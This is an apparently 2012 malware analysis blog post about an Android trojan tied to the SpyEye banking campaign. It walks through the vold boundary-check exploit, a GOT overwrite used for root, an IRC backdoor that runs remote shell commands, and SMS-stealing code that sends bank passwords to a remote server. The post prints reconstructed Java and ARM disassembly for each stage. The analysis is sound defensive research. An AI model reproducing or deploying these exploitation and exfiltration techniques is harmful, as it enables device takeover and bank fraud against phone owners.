Monday, 23 January 2012

The Butterfly Effect of a Boundary Check

In chaos theory, a hurricane formation might be contingent on whether or not a distant butterfly had flapped its wings. In the digital world, one might wonder how a source code update with a boundary check added can invoke an online bank robbery. Well, here is the story.

The SpyEye banking trojan with the incorporated features of ZeuS (via the source code acquisition) has been making rounds for a while now. While its form-grabbing, code-injection, keylogging capabilities are well studied, it still keeps evolving and adopting itself to the new realities, to the new security measures that the banks are putting in place. It adapts due to the need to survive in an environment that is becoming more and more hostile for it.

In a nutshell, SpyEye, as well as ZeuS, is a banking trojan that is designed to intercept (steal) the authentication details, deliver them to a remote server where these details are collected, stored, and then wrapped up and resold on the underground markets. Someone eventually acquires the SpyEye/Zeus logs and then parses the compromised account details, one-by-one. For every online banking account, the attacker will try to log on by using anonymous proxies or other compromised systems in order to stay out of sight, and then wire the funds to so-called "drop" accounts (temporary accounts created for a short period of time to launder the stolen funds).

In some way, this multi-stage bank robbery model has become conventional for SpyEye/ZeuS. Nevertheless, it is easily disrupted with the two-factor authentication schemes that are becoming more and more popular in online banking. In one particular scenario, whenever a customer is willing to transfer the money to a newly added beneficiary, the bank will generate a temporary password, and then send that password to the customer's mobile phone in the form of an SMS message. The customer reads the message, fills out the online form field with the received password, and then clicks Next.

Done. Transaction is authorised.

In case of a compromised account, the remote attacker will possess the login credentials and thus, would be able to log on, view the infected victim's balance, the history of the recent transactions, and even pay the bills on behalf of existing beneficiaries that were authorised previously. However, the remote attacker would be unable to initiate a bogus transaction on behalf of a newly added "drop" account, as that attempt would require two-factor authentication. Without having access to the password contained in the SMS message, any bogus transaction from a compromised account would essentially be blocked.

Logically, this issue makes the attacker be willing to put his hands onto the password received via SMS as soon as possible - while it's still valid. Even better, highjack it so that it never reaches the victim. Otherwise, the received SMS may alert the owner of the compromised account. In order to highjack it, the attacker would need to compromise the customer's phone as well.

As reported by S21sec, the new SpyEye campaign that targets Spanish banks realises the aforementioned attack scenario. Upon trying to visit an online banking site, the compromised user will face a bogus web page that will offer to install an application for the mobile phone - in order to "secure communications", that is.

As you may have guessed, the suggested mobile app is malicious - let's analyse the application offered for Android platform. While the password interception mechanism contained within SMS is not new (ZeuS does it for several months now), let's inspect what other tricks are hidden up the SpyEye's sleeve.

Why Android?

As stated by Nielsen, in 2011 Q3 the smartphone ownership has reached 43% of all U.S. mobile subscribers. According to Gartner, Android platform composes now 43% of all smartphone sales in 2011 Q2. That roughly means that every fifth online banking customer who relies on SMS-based two-factor authentication scheme will own an Android device (97% of them still running Android Gingerbread, Froyo, and below). For the attacker, it means that the malicious Android app has fairly good odds. In fact, considering iPhone's tight security ecosystem, Android provides the best odds for the attacker and thus, the highest return-on-investment ratio for developing and deploying an Android app that could do such thing.

The dropper "Madden NFL 12"

Malicious Android app suggested by a bogus web page may disguise itself under a security application. In one reported case however, the malicious Android app is called "Madden NFL 12" - a trojan that disguises itself under the popular American football video game.

The package name is - no hiding here, an honest self-assessment of being a bot.

Once invoked, its main activity AndroidBotActivity will perform the following actions:

  • Create directory /data/data/ with the read/write/execute rights for all

  • Extract 3 files from its own assets and drop them as:

    • /data/data/ (ELF executable)

    • /data/data/ (ELF executable)

    • /data/data/ (Android app - an APK file)

  • Run the first executable header01.png

  • Show up a "toast" message:
    (0x14) Error - Not registred application.

These steps are seen in the reconstructed source code of the trojan:

ShellCommand.CommandResult localCommandResult1 ="mkdir /data/data/ && chmod 777 /data/data/");
boolean bool1 = new File("/data/data/").delete();
boolean bool2 = new File("/data/data/").delete();
boolean bool3 = new File("/data/data/").delete();
boolean bool4 = new File("/data/data/").delete();
boolean bool5 = new File("/data/data/").delete();
boolean bool6 = new File("/data/data/").delete();
ExtractAsset("header01.png", "/data/data/");
ExtractAsset("footer01.png", "/data/data/");
ExtractAsset("border01.png", "/data/data/");
ShellCommand.CommandResult localCommandResult2 ="chmod 777 /data/data/");
ShellCommand.CommandResult localCommandResult3 ="/data/data/");
Toast.makeText(getApplicationContext(), "(0x14) Error - Not registred application.", 0).show();

ELF executable header01.png

Despite the extension name, header01.png file is an ELF executable compiled for ARM CPU. Hopefully, IDA Pro disassembler handles it quite perfectly.

This executable relies on an exploit within Android's vold (volume daemon) - a program that automatically mounts CD-Roms, USB-Memory Sticks, and other removable media.

Being an open platform, Android's source code and its modifications are fully transparent.

On April 19, 2011, the DirectVolume.cpp (one of the vold's source files) was updated with an extra boundary check added for mPartMinors[].

Updates like this inevitably draw attention - the part_num > MAX_PARTITIONS boundary check was already present in the code, the only added boundary check this time was part_num < 1.

What is part_num, how it was used in the code before the update, and why the extra check was added?

part_num is an integer variable that is obtained from the string parameter PARTN passed within the Netlink event message - an argument for the handlePartitionAdded() function, as shown below in the vold's source file DirectVolume.cpp:

void DirectVolume::handlePartitionAdded(const char *devpath,
NetlinkEvent *evt)
// obtain "MINOR" parameter from the event message, assign to int minor
int minor = atoi(evt->findParam("MINOR"));
int part_num;

// obtain "PARTN" string parameter from the event message
const char *tmp = evt->findParam("PARTN");
if (tmp)
// convert it to int, assign to part_num
part_num = atoi(tmp);
SLOGW("Kernel block uevent missing 'PARTN'");
part_num = 1;
// make sure part_num does not exceed the maximum limit
if (part_num >= MAX_PARTITIONS)
SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n",
// use part_num as an index to referenece mPartMinors[],
// store there the value of minor
mPartMinors[part_num -1] = minor;

The only boundary check in the code above is part_num >= MAX_PARTITIONS. Next, part_num is used to reference an element of the array mPartMinors[]. That is, the code assumes that part_num is always more than or equal to 1. However, in case of a negative value passed for the PARTN parameter, the code will reference the memory located below the mPartMinors[] base pointer - that referenced memory (whatever is stored at that location) will be overwritten with the value contained in the variable minor - that value is also passed with the Netlink event message, only by using a different parameter - MINOR.

By specifying a negative index value for the mPartMinors[] array, it is possible for the attacker to reference and overwrite the memory that belongs to the GOT (Global Offset Table) within the image of the vold executable. The GOT table stores offsets of the imported APIs - such as strcmp(), atoi() and other APIs that vold executable imports from other libraries such as,, After patching one of those offsets with an offset of an API function system() imported from the C library, vold executable would now call system() API instead of the intended one. If the parameter passed to the patched API was a malicious executable file path, vold would call system("path_to_malicious_executable") API, effectively launching an external executable with the same root privileges as the vold process itself.

This "theoretical" possibility materialised pretty quickly. The DirectVolume.cpp update was noticed by Sebastian Krahmer, Swiss researcher, who published the proof-of-concept code at his blog two days later, on April 21, 2011.

As it always happened before, it was now a matter of time until the published exploit was incorporated into the malware.

The aforementioned function handlePartitionAdded() is only invoked within vold process whenever a hotplug event occurs (such as connection/disconnection of CD-ROM, USB-Memory Sticks, and other removable media). When that happens, the netlink daemon that listens to the netlink socket (this socket is used as a communication between the kernel and user space) receives a packet of data for such event. The transferred data represents itself a set of null terminated text lines where every line contains a PARAMETER=VALUE pair defining a hotplug event parameters. For a normal hotplug event, the message parameters are always valid and PARTN is always 1 or more. However, the malicious process header01.png opens up the netlink socket and sends there the malformed event messages directly in order to fake the hotplug events.

The malformed netlink event messages sent by header01.png via the netlink socket will invoke the vold's handlePartitionAdded() function above. The trojan has to construct a netlink event (NetlinkEvent *evt) message with the malformed parameters PARTN (this must be a negative number that references vold's GOT offsets) and MINOR (this parameter must contain the offset of the API system()). The PARTN and MINOR values have to be calculated dynamically with a 100% precision. The trojan does that in the following steps.

It opens up the file /proc/net/netlink and reads the contents of that file:

.text:00009A1C LDR R3, =(aNetlink - _GLOBAL_OFFSET_TABLE_) ; "/proc/net/netlink"
.text:00009A20 LDR R2, [R11,#var_828]
.text:00009A24 ADD R3, R2, R3
.text:00009A28 MOV R0, R3 ; filename
.text:00009A2C LDR R3, =(aR - _GLOBAL_OFFSET_TABLE_) ; "r"
.text:00009A30 LDR R1, [R11,#var_828]
.text:00009A34 ADD R3, R1, R3
.text:00009A38 MOV R1, R3
.text:00009A3C BL fopen ; open "netlink" for read

The contents of /proc/net/netlink file enlists running processes, e.g. its content might look like:

sk Eth Pid Groups Rmem Wmem Dump Locks
c4cc6800 15 69 ffffffff 0 0 (null) 2
c5979a00 15 26 ffffffff 0 0 (null) 2
c5b99e00 15 29 ffffffff 0 0 (null) 2

The process list does not contain process names - only process IDs specified in the 3rd column (Pid). So the trojan parses every line and retrieves the 3rd parameter - the process ID.

For every process ID %PID%, it constructs a string /proc/%PID%/cmdline.

It opens and reads a file with a name that is the string above - this will return the process name; for example, reading a file /proc/29/cmdline might return /system/bin/netd string - this string is a process name for the process with the ID of 29:

.text:00009B7C LDR R3, =(aCmdline - _GLOBAL_OFFSET_TABLE_) ; "/proc/%d/cmdline"
.text:00009B80 LDR R2, [R11,#var_828]
.text:00009B84 ADD R3, R2, R3
.text:00009B88 MOV R1, R3 ; format
.text:00009B8C LDR R2, [R11,#var_818]
.text:00009B90 BL sprintf ; construct string "/proc/%PID%/cmdline"
.text:00009B94 SUB R3, R11, #-var_800
.text:00009B98 SUB R3, R3, #0xC
.text:00009B9C SUB R3, R3, #4
.text:00009BA0 MOV R0, R3 ; file
.text:00009BA4 MOV R1, #0 ; oflag
.text:00009BA8 BL open ; open file "/proc/%PID%/cmdline"

Next it checks if the returned string (the name of the process) is /system/bin/vold:

.text:00009C14 LDR R3, =(aSystemBinVold - _GLOBAL_OFFSET_TABLE_) ; "/system/bin/vold"
.text:00009C18 LDR R1, [R11,#var_828]
.text:00009C1C ADD R3, R1, R3
.text:00009C20 MOV R1, R3
.text:00009C24 BL strstr ; compare the returned string with "/system/bin/vold"

Once the process name /system/bin/vold is found, the process ID of vold daemon will now be known.

The code locates the offset of the system() API by opening the library with dlopen(), then obtaining the offset with dlsym(). This is similar to LoadLibrary(), GetProcAddress() call sequence used in x86 malware.

.text:00009260 LDR R3, =(aLibcSo - _GLOBAL_OFFSET_TABLE_) ; "/system/libc/"
.text:00009264 LDR R2, [R11,#var_1C]
.text:00009268 ADD R3, R2, R3
.text:0000926C MOV R0, R3 ; file
.text:00009270 MOV R1, #0 ; mode
.text:00009274 BL dlopen ; open the library "/system/libc/"
.text:00009278 MOV R3, R0
.text:0000927C STR R3, [R11,#handle]
.text:00009280 LDR R3, [R11,#handle]
.text:00009284 CMP R3, #0
.text:00009288 BNE libc_handle_ok
.text:0000928C LDR R3, =(aDlopen - _GLOBAL_OFFSET_TABLE_) ; "[-] dlopen"
.text:00009290 LDR R2, [R11,#var_1C]
.text:00009294 ADD R3, R2, R3
.text:00009298 MOV R0, R3
.text:0000929C BL die ; libc handle is 0 - quit
.text:000092A0 libc_handle_ok:
.text:000092A0 LDR R0, [R11,#handle] ; load handle
.text:000092A4 LDR R1, [R11,#name] ; load symbol name (passed as a parameter)
.text:000092A8 BL dlsym ; obtain the address of the symbol ("system")

Next, the trojan opens up the file /system/bin/vold and parses its ELF structure to retrieve the start and the end of the vold's GOT table.

Following that, it lookups the names of the mounted devices by parsing vold's fstab file - a system configuration that enlists all available disks and disk partitions. This configuration resides either in /etc/vold.fstab or system/etc/vold.fstab. For example, the contents of this file might look like:

## Format: dev_mount <label> <mount_point> <part> <sysfs_path1...>
## label - Label for the volume
## mount_point - Where the volume will be mounted
## part - Partition # (1 based), or 'auto' for first usable partition.
## <sysfs_path> - List of sysfs paths to source devices
dev_mount sdcard /mnt/sdcard auto /devices/platform/msm_sdcc.2/mmc_host/mmc1

In the above case, the trojan will retrieve the device path /devices/platform/msm_sdcc.2/mmc_host/mmc1, or it will use that path as a default one if it fails to find any specified devices.

Attacking GOT table

At this moment, the trojan knows the boundaries of the GOT table that it intends to overwrite and the offset of system() API - the value it intends to patch GOT table with. This value will be passed as MINOR parameter of the malformed netlink event messages. However, the trojan is not aware what negative index values have to be chosen for the mPartMinors[] array (passed as PARTN parameter) in order to reference GOT table. It's a blindfolded shooting for the trojan.

So it starts a brute-force attack against GOT. In the loop, the trojan selects a number, then constructs a malformed netlink event message with the selected number specified as a negative value for the PARTN parameter and system() API offset as a MINOR parameter, then submits that message to the netlink socket.

Once such message is submitted, there will be an exception generated that specifies that a wrong address of memory was referenced - the trojan wants to know what is that address. More specifically, is that "wrong" address within the boundaries of GOT or not. If the address belongs to GOT, the trojan has hit the spot.

In order to be able to access the exception details with the specified memory address, it redirects log events (by running logcat command with the parameters -c and -f) into the file /data/local/tmp/crashlog. Every time it sends a malformed netlink event message, it parses the contents of the crashlog file, looking for the presence of the string "fault addr "; if found, it retrieves the specified fault address and compares it against the GOT boundaries:

.text:0000AC34 LDR R3, =(aFAddr - _GLOBAL_OFFSET_TABLE_) ; "fault addr "
.text:0000AC38 LDR R2, [R11,#var_440]
.text:0000AC3C ADD R3, R2, R3
.text:0000AC40 MOV R1, R3
.text:0000AC44 BL strstr ; line contains fault address ("fault addr ")?
.text:0000AC48 MOV R3, R0
.text:0000AC4C STR R3, [R11,#nptr]
.text:0000AC50 LDR R3, [R11,#nptr]
.text:0000AC54 CMP R3, #0
.text:0000AC58 BEQ fault_addr_not_found
.text:0000AC5C LDR R3, [R11,#nptr]
.text:0000AC60 ADD R3, R3, #0xB
.text:0000AC64 STR R3, [R11,#nptr]
.text:0000AC68 LDR R0, [R11,#nptr] ; nptr
.text:0000AC6C MOV R1, #0 ; endptr
.text:0000AC70 MOV R2, #0x10 ; base
.text:0000AC74 BL strtoul ; if so, convert it into unsigned long integer

Once the trojan encounters a logged exception that states that the wrong address was accessed (the line with the "fault addr " string), and that address belongs to GOT, it now assumes that the aligned address within GOT was now overwritten with the system() API. It does not know what API offset was overwritten, but it does not care; it just assumes that during a normal netlink event processing, some of the overwritten API will eventually be called. Once an unknown API offset within GOT is overwritten, it falls asleep for 500 sec before exploiting it.

Exploiting patched GOT table

The exploit itself works this way: the trojan again constructs a malformed netlink event message. Only this time it specifies PARTN parameter as 1 - a perfectly valid number that will cause no exceptions due to wrong memory addressing. The other parameters however, will now be specified in form of an offset to the file path name of the trojan's own copy that it drops as /data/local/tmp/boomsh.

The guess is simple - vold's handlePartitionAdded() function will now be triggered again. The PARTN parameter check will pass Ok now. However, at some point of processing the incoming netlink event message parameters, vold will try to call one of the imported APIs. For example, as seen in the source file, the very first line of the handlePartitionAdded() function is:

int major = atoi(evt->findParam("MAJOR"));

evt->findParam("MAJOR") command will retrieve a string that was specified as MAJOR parameter - that string will be the full path filename of the trojan's copy: /data/local/tmp/boomsh.

Next, vold'd code will try to convert that string into an integer, so it will call atoi() API by calling the function at the offset specified within GOT and passing /data/local/tmp/boomsh as a function parameter. However, since the offset of atoi() within compromised GOT can now potentially be overwritten with the offset of system() API, the execution flow with follow the wrong direction, factually calling system("/data/local/tmp/boomsh"). This will run (re-run) the trojan executable with the root privilege.

Running with the root privileges

When the trojan executable starts, it checks if it's file name (the first argument of its own command line) contains boomsh string. This part of description was intentionally skipped (to keep the cart behind the horse). If the trojan detects it was executed as boomsh, it simply means that the exploit has worked: the trojan was executed under vold account due to patched GOT and that now it has the root privileges inherited from the parent process.

In this case, the trojan initiates the 2nd stage of its attack - running footer01.png, the ELF executable that was dropped by the malicious Android app "Madden NFL 12" into the same directory as header01.png.

.text:0000AE18 LDR R3, =(bot - 0xC100) ; /data/data/
.text:0000AE1C ADD R3, R4, R3 ; bot
.text:0000AE20 LDR R3, [R3]
.text:0000AE24 MOV R0, R3 ; file
.text:0000AE28 MOV R1, #0 ; owner
.text:0000AE2C MOV R2, #0 ; group
.text:0000AE30 BL chown
.text:0000AE34 LDR R3, =(bot - 0xC100)
.text:0000AE38 ADD R3, R4, R3 ; bot
.text:0000AE3C LDR R3, [R3]
.text:0000AE40 MOV R0, R3 ; file
.text:0000AE44 MOV R1, 0x9C9 ; mode
.text:0000AE4C BL chmod
.text:0000AE50 LDR R3, =(bot - 0xC100)
.text:0000AE54 ADD R3, R4, R3 ; bot
.text:0000AE58 LDR R2, [R3]
.text:0000AE5C LDR R3, =(bot - 0xC100) ; /data/data/
.text:0000AE60 ADD R3, R4, R3 ; bot
.text:0000AE64 LDR R3, [R3]
.text:0000AE68 MOV R0, R2 ; file
.text:0000AE6C MOV R1, R3 ; arg
.text:0000AE70 MOV R2, #0
.text:0000AE74 BL execlp ; run footer01.png
.text:0000AE78 MOV R0, #0 ; status
.text:0000AE7C BL exit ; job's done - quit

ELF executable footer01.png

footer01.png is a backdoor trojan implemented as an IRC bot.

When run, it firstly leaves a marker about the fact that the system is "rooted" (otherwise, it would have not been run by header01.png) by placing 1 into the file /data/data/

.text:000094D4 LDR R3, =0xFFFFF6E0 ; "echo 1 > /data/data/"
.text:000094D8 LDR R2, [R11,#var_38]
.text:000094DC ADD R3, R2, R3
.text:000094E0 MOV R0, R3 ; command
.text:000094E4 BL system ; run "echo 1 >.." to leave the marker in "rooted"

The bot sets the read/write access for the owner and read-only access by everyone else to the file /data/data/ This is the 3rd file dropped by the inital app "Madden NFL 12" - this file is an Android app (APK file).

Next, it installs that app with the package manager, invokes the with the activity manager (the main activity of the border01.png app), and sets a flag about that component activation by placing 1 into the file /etc/sent:

.text:00009584 LDR R3, =0xFFFFF7B0 ; "chmod 0644 /data/data/.../border01.png"
.text:00009588 LDR R2, [R11,#var_38]
.text:0000958C ADD R3, R2, R3
.text:00009590 MOV R0, R3 ; command
.text:00009594 BL system ; run "chmod 0644" on "border01.png"
.text:00009598 MOV R0, #5 ; seconds
.text:0000959C BL sleep
.text:000095A0 LDR R3, =0xFFFFF7F0 ; "pm install -r /data/data/.../border01.png"
.text:000095A4 LDR R2, [R11,#var_38]
.text:000095A8 ADD R3, R2, R3
.text:000095AC MOV R0, R3 ; command
.text:000095B0 BL system ; run "pm install" to install "border01.png"
.text:000095B4 MOV R0, #3 ; seconds
.text:000095B8 BL sleep ; sleep 3 sec.
.text:000095BC LDR R3, =0xFFFFF830 ; "am start -n"
.text:000095C0 LDR R2, [R11,#var_38]
.text:000095C4 ADD R3, R2, R3
.text:000095C8 MOV R0, R3 ; command
.text:000095CC BL system ; run "am start" to start "AndroidMeActivity"
.text:000095D0 MOV R0, #30 ; seconds
.text:000095D4 BL sleep ; sleep 30 sec.
.text:000095D8 LDR R3, =(aEcho1EtcSent - _GLOBAL_OFFSET_TABLE_) ; "echo 1 > /etc/sent"
.text:000095DC LDR R2, [R11,#var_38]
.text:000095E0 ADD R3, R2, R3
.text:000095E4 MOV R0, R3 ; command
.text:000095E8 BL system ; run "echo 1" to leave the marker in "/etc/sent"

Following that, it connects to the remote IRC server located at IP, generates a random user name, then logs on to IRC server by using that name.

The bot then joins IRC channel #andros at the server and then keeps waiting for the private messages on the channel.

Once such message is received, the bot parses its content (a string that follows PRIVMSG), then treats it as a remote command. In total, there 3 remote commands:

  • If the bot receives "sh" command, it will run the specified command or executable with the system() call, then respond back the message:
    PRIVMSG #andros :[SH] - %COMMAND_TO_RUN%.

  • The received command "id" will make the bot reply back the user ID of the calling process, that is obtained with the getuid() call:
    PRIVMSG #andros :[ID] - %REAL_USER_ID%.

  • Command "exit" will force the bot to exit; before exiting it replies back:
    PRIVMSG #andros :[EXIT] - exiting ordered...

Part of the disassembled code that parses the backdoor command "sh":

.text:000091C4 LDR R3, =(aSh - _GLOBAL_OFFSET_TABLE_)
.text:000091C8 LDR R2, [R11,#var_62C]
.text:000091CC ADD R3, R2, R3
.text:000091D0 MOV R1, R3 ; s2
.text:000091D4 MOV R2, #3 ; n
.text:000091D8 BL strncmp ; is the received command "sh"?
.text:000091DC MOV R3, R0
.text:000091E0 CMP R3, #0
.text:000091E4 BNE next_1 ; if not, check if it's the next command
.text:00009280 MOV R0, R3 ; command
.text:00009284 BL system ; run the received command/executable
.text:00009288 SUB R12, R11, #-var_410
.text:0000928C SUB R12, R12, #4
.text:00009290 SUB R12, R12, #4
.text:00009294 LDR R0, [R11,#var_620]
.text:00009298 LDR R3, =0xFFFFF650 ; "PRIVMSG %s :[SH] - %s."
.text:0000929C LDR R1, [R11,#var_62C]
.text:000092A0 ADD R3, R1, R3
.text:000092A4 MOV R1, R3
.text:000092A8 LDR R3, =0xFFFFF638 ; "#andros"
.text:000092AC LDR R2, [R11,#var_62C]
.text:000092B0 ADD R3, R2, R3
.text:000092B4 MOV R2, R3
.text:000092B8 MOV R3, R12
.text:000092BC BL IRCSend ; reply "PRIVMSG #andros :[SH] - %COMMAND%."

border01.png - Android app that intercepts SMS

As explained above, border01.png is started by the executable footer01.png.

This app is responsible for the SMS message interception logic. The received SMS messages are intercepted with the broadcast receiver SMSReceiver. Its onReceive() method is called upon receiving an intent broadcast which is generated when an SMS is received.

With the onReceive() method invoked, the code retrieves 2 fields from the received SMS message: message body and the sender's address. If the sender's address is one the following values, then it is aborted:

  • 81083

  • 3075

  • 64747

  • 60999

  • 63000

  • 35024

  • 2052

  • 7604

  • 1339

  • 9903

  • 2227

  • 72225

  • 23333

as seen in the reconstructed source code of the trojan:

str1 = arrayOfSmsMessage[0].getMessageBody();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
if ((str2.equals("81083")) || (str2.equals("3075")) || (str2.equals("64747")) ||
(str2.equals("60999")) || (str2.equals("63000")) || (str2.equals("35024")) ||
(str2.equals("2052")) || (str2.equals("7604")) || (str2.equals("1339")) ||
(str2.equals("9903")) || (str2.equals("2227")) || (str2.equals("72225")) ||

Next, regardless if the SMS message was aborted or not, the malware will submit the intercepted SMS message body and sender's address to the remote server located at IP, as shown below:

DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
HttpGet localHttpGet = new HttpGet();
String str3 = "" + str2 + "///" + str1;
URI localURI = new URI(str3);
HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);

The remote server will presumably be able to notify the remote attacker (subject to how the server-based code is implemented) on any online banking passwords received during the two-factor authentication process. As the broadcast receiver drops (aborts) the SMS messages that might be originating from the addresses that the attacker recognises as online-banking ones, the passwords sent with SMS by the bank to the customers with the infected phones might never reach them.

On top of that, the app will start sending SMS messages to the premium-rated numbers. For that, the malware obtains the SIM provider's country code first with getSimCountryIso(), then depending on the country it sets up a different premium-rate number to send the SMS to.